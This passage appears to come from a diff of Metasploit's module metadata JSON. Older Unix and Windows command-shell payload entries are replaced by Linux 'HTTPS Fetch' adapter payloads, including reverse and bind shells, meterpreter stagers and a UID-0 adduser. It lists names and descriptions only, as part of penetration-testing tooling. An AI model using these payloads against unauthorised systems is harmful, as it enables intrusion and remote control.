- "path": "/modules/payloads/singles/cmd/unix/reverse_r.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_r",
+ "ref_name": "cmd/linux/https/x64/exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/exec",
+ "staged": false
},
- "payload_cmd/unix/reverse_ruby": {
- "name": "Unix Command Shell, Reverse TCP (via Ruby)",
- "fullname": "payload/cmd/unix/reverse_ruby",
+ "payload_cmd/linux/https/x64/meterpreter/bind_tcp": {
+ "name": "HTTPS Fetch, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp",
"aliases": [
],
@@ -178625,33 +180513,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "kris katterjohn "
+ "Brendan Watters",
+ "Brent Cook ",
+ "ricky"
],
- "description": "Connect back and create a command shell via Ruby",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ruby",
+ "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/bind_tcp"
},
- "payload_cmd/unix/reverse_ruby_ssl": {
- "name": "Unix Command Shell, Reverse TCP SSL (via Ruby)",
- "fullname": "payload/cmd/unix/reverse_ruby_ssl",
+ "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": {
+ "name": "HTTPS Fetch, Reverse SCTP Stager",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp",
"aliases": [
],
@@ -178659,33 +180555,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
+ "Brent Cook ",
"RageLtMan "
],
- "description": "Connect back and create a command shell via Ruby, uses SSL",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ruby_ssl",
+ "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter/reverse_sctp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/reverse_sctp"
},
- "payload_cmd/unix/reverse_socat_sctp": {
- "name": "Unix Command Shell, Reverse SCTP (via socat)",
- "fullname": "payload/cmd/unix/reverse_socat_sctp",
+ "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": {
+ "name": "HTTPS Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp",
"aliases": [
],
@@ -178693,33 +180597,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Brent Cook ",
+ "ricky",
+ "tkmru"
],
- "description": "Creates an interactive shell via socat",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-04-27 16:21:34 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_socat_sctp",
+ "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/meterpreter",
+ "stager_refname": "linux/x64/reverse_tcp"
},
- "payload_cmd/unix/reverse_socat_udp": {
- "name": "Unix Command Shell, Reverse UDP (via socat)",
- "fullname": "payload/cmd/unix/reverse_socat_udp",
+ "payload_cmd/linux/https/x64/meterpreter_reverse_http": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http",
"aliases": [
],
@@ -178727,33 +180640,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Creates an interactive shell via socat",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_socat_udp",
+ "ref_name": "cmd/linux/https/x64/meterpreter_reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_http",
+ "staged": false
},
- "payload_cmd/unix/reverse_ssh": {
- "name": "Unix Command Shell, Reverse TCP SSH",
- "fullname": "payload/cmd/unix/reverse_ssh",
+ "payload_cmd/linux/https/x64/meterpreter_reverse_https": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https",
"aliases": [
],
@@ -178761,34 +180681,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan ",
- "hirura"
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Connect back and create a command shell via SSH",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ssh",
+ "ref_name": "cmd/linux/https/x64/meterpreter_reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_https",
+ "staged": false
},
- "payload_cmd/unix/reverse_ssl_double_telnet": {
- "name": "Unix Command Shell, Double Reverse TCP SSL (telnet)",
- "fullname": "payload/cmd/unix/reverse_ssl_double_telnet",
+ "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp",
"aliases": [
],
@@ -178796,34 +180722,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm ",
- "RageLtMan "
+ "Brendan Watters",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Creates an interactive shell through two inbound connections, encrypts using SSL via \"-z\" option",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ssl_double_telnet",
+ "ref_name": "cmd/linux/https/x64/meterpreter_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/meterpreter_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_stub": {
- "name": "Unix Command Shell, Reverse TCP (stub)",
- "fullname": "payload/cmd/unix/reverse_stub",
+ "payload_cmd/linux/https/x64/pingback_bind_tcp": {
+ "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline",
+ "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp",
"aliases": [
],
@@ -178831,33 +180763,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "bwatters-r7"
],
- "description": "Creates an interactive shell through an inbound connection (stub only, no payload)",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_stub",
+ "ref_name": "cmd/linux/https/x64/pingback_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/pingback_bind_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_tclsh": {
- "name": "Unix Command Shell, Reverse TCP (via Tclsh)",
- "fullname": "payload/cmd/unix/reverse_tclsh",
+ "payload_cmd/linux/https/x64/pingback_reverse_tcp": {
+ "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp",
"aliases": [
],
@@ -178865,33 +180802,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "bcoles "
+ "Brendan Watters",
+ "bwatters-r7"
],
- "description": "Creates an interactive shell via Tclsh",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_tclsh",
+ "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/pingback_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_zsh": {
- "name": "Unix Command Shell, Reverse TCP (via Zsh)",
- "fullname": "payload/cmd/unix/reverse_zsh",
+ "payload_cmd/linux/https/x64/shell/bind_tcp": {
+ "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp",
"aliases": [
],
@@ -178899,34 +180841,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Doug Prostko ",
- "Wang Yihang "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_zsh",
+ "ref_name": "cmd/linux/https/x64/shell/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/bind_tcp"
},
- "payload_cmd/windows/adduser": {
- "name": "Windows Execute net user /ADD CMD",
- "fullname": "payload/cmd/windows/adduser",
+ "payload_cmd/linux/https/x64/shell/reverse_sctp": {
+ "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager",
+ "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp",
"aliases": [
],
@@ -178934,35 +180882,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm ",
- "scriptjunkie",
- "Chris John Riley"
+ "Brendan Watters",
+ "ricky",
+ "RageLtMan "
],
- "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/windows/adduser.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/adduser",
+ "ref_name": "cmd/linux/https/x64/shell/reverse_sctp",
"check": false,
- "post_auth": true,
+ "post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell/reverse_sctp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/reverse_sctp"
},
- "payload_cmd/windows/bind_lua": {
- "name": "Windows Command Shell, Bind TCP (via Lua)",
- "fullname": "payload/cmd/windows/bind_lua",
+ "payload_cmd/linux/https/x64/shell/reverse_tcp": {
+ "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp",
"aliases": [
],
@@ -178970,33 +180924,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "xistence "
+ "Brendan Watters",
+ "ricky",
+ "tkmru"
],
- "description": "Listen for a connection and spawn a command shell via Lua",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/bind_lua",
+ "ref_name": "cmd/linux/https/x64/shell/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x64/shell",
+ "stager_refname": "linux/x64/reverse_tcp"
},
- "payload_cmd/windows/bind_perl": {
- "name": "Windows Command Shell, Bind TCP (via Perl)",
- "fullname": "payload/cmd/windows/bind_perl",
+ "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": {
+ "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp",
"aliases": [
],
@@ -179004,35 +180966,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Samy ",
- "cazz ",
- "aushack "
+ "Brendan Watters",
+ "epi "
],
- "description": "Listen for a connection and spawn a command shell via perl (persistent)",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/bind_perl",
+ "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_bind_ipv6_tcp",
+ "staged": false
},
- "payload_cmd/windows/bind_perl_ipv6": {
- "name": "Windows Command Shell, Bind TCP (via perl) IPv6",
- "fullname": "payload/cmd/windows/bind_perl_ipv6",
+ "payload_cmd/linux/https/x64/shell_bind_tcp": {
+ "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline",
+ "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp",
"aliases": [
],
@@ -179040,35 +181005,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Samy ",
- "cazz ",
- "aushack "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Listen for a connection and spawn a command shell via perl (persistent)",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/bind_perl_ipv6",
+ "ref_name": "cmd/linux/https/x64/shell_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_bind_tcp",
+ "staged": false
},
- "payload_cmd/windows/bind_ruby": {
- "name": "Windows Command Shell, Bind TCP (via Ruby)",
- "fullname": "payload/cmd/windows/bind_ruby",
+ "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": {
+ "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline",
+ "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port",
"aliases": [
],
@@ -179076,33 +181044,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "kris katterjohn "
+ "Brendan Watters",
+ "Geyslan G. Bem "
],
- "description": "Continually listen for a connection and spawn a command shell via Ruby",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/bind_ruby",
+ "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_bind_tcp_random_port",
+ "staged": false
},
- "payload_cmd/windows/download_eval_vbs": {
- "name": "Windows Executable Download and Evaluate VBS",
- "fullname": "payload/cmd/windows/download_eval_vbs",
+ "payload_cmd/linux/https/x64/shell_find_port": {
+ "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline",
+ "fullname": "payload/cmd/linux/https/x64/shell_find_port",
"aliases": [
],
@@ -179110,33 +181083,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "scriptjunkie"
+ "Brendan Watters",
+ "mak"
],
- "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/download_eval_vbs",
+ "ref_name": "cmd/linux/https/x64/shell_find_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_find_port",
+ "staged": false
},
- "payload_cmd/windows/download_exec_vbs": {
- "name": "Windows Executable Download and Execute (via .vbs)",
- "fullname": "payload/cmd/windows/download_exec_vbs",
+ "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": {
+ "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp",
"aliases": [
],
@@ -179144,33 +181122,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "scriptjunkie"
+ "Brendan Watters",
+ "epi "
],
- "description": "Download an EXE from an HTTP(S) URL and execute it",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/download_exec_vbs",
+ "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp",
+ "staged": false
},
- "payload_cmd/windows/generic": {
- "name": "Windows Command, Generic Command Execution",
- "fullname": "payload/cmd/windows/generic",
+ "payload_cmd/linux/https/x64/shell_reverse_tcp": {
+ "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp",
"aliases": [
],
@@ -179178,33 +181161,38 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "juan vazquez "
+ "Brendan Watters",
+ "ricky"
],
- "description": "Executes the supplied command",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/windows/generic.rb",
+ "mod_time": "2023-05-25 11:49:38 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/generic",
+ "ref_name": "cmd/linux/https/x64/shell_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x64",
+ "adapted_refname": "linux/x64/shell_reverse_tcp",
+ "staged": false
},
- "payload_cmd/windows/jjs_reverse_tcp": {
- "name": "Windows Shell, Reverse TCP (via jjs)",
- "fullname": "payload/cmd/windows/jjs_reverse_tcp",
+ "payload_cmd/linux/https/x86/adduser": {
+ "name": "HTTPS Fetch, Linux Add User",
+ "fullname": "payload/cmd/linux/https/x86/adduser",
"aliases": [
],
@@ -179212,36 +181200,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "conerpirate",
- "bcoles "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "vlad902 ",
+ "spoonm "
],
- "description": "Connect back and create a command shell via jjs",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nCreate a new user with UID 0",
"references": [
- "URL-https://gtfobins.github.io/gtfobins/jjs/",
- "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/",
- "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html"
+
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/jjs_reverse_tcp",
+ "ref_name": "cmd/linux/https/x86/adduser",
"check": false,
- "post_auth": false,
+ "post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/adduser",
+ "staged": false
},
- "payload_cmd/windows/powershell/adduser": {
- "name": "Powershell Exec",
- "fullname": "payload/cmd/windows/powershell/adduser",
+ "payload_cmd/linux/https/x86/chmod": {
+ "name": "HTTPS Fetch, Linux Chmod",
+ "fullname": "payload/cmd/linux/https/x86/chmod",
"aliases": [
],
@@ -179249,37 +181242,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "hdm ",
- "Chris John Riley",
- "vlad902 ",
- "sf "
+ "kris katterjohn "
],
- "description": "Execute an x86 payload from a command via PowerShell",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nRuns chmod on specified file with specified mode",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
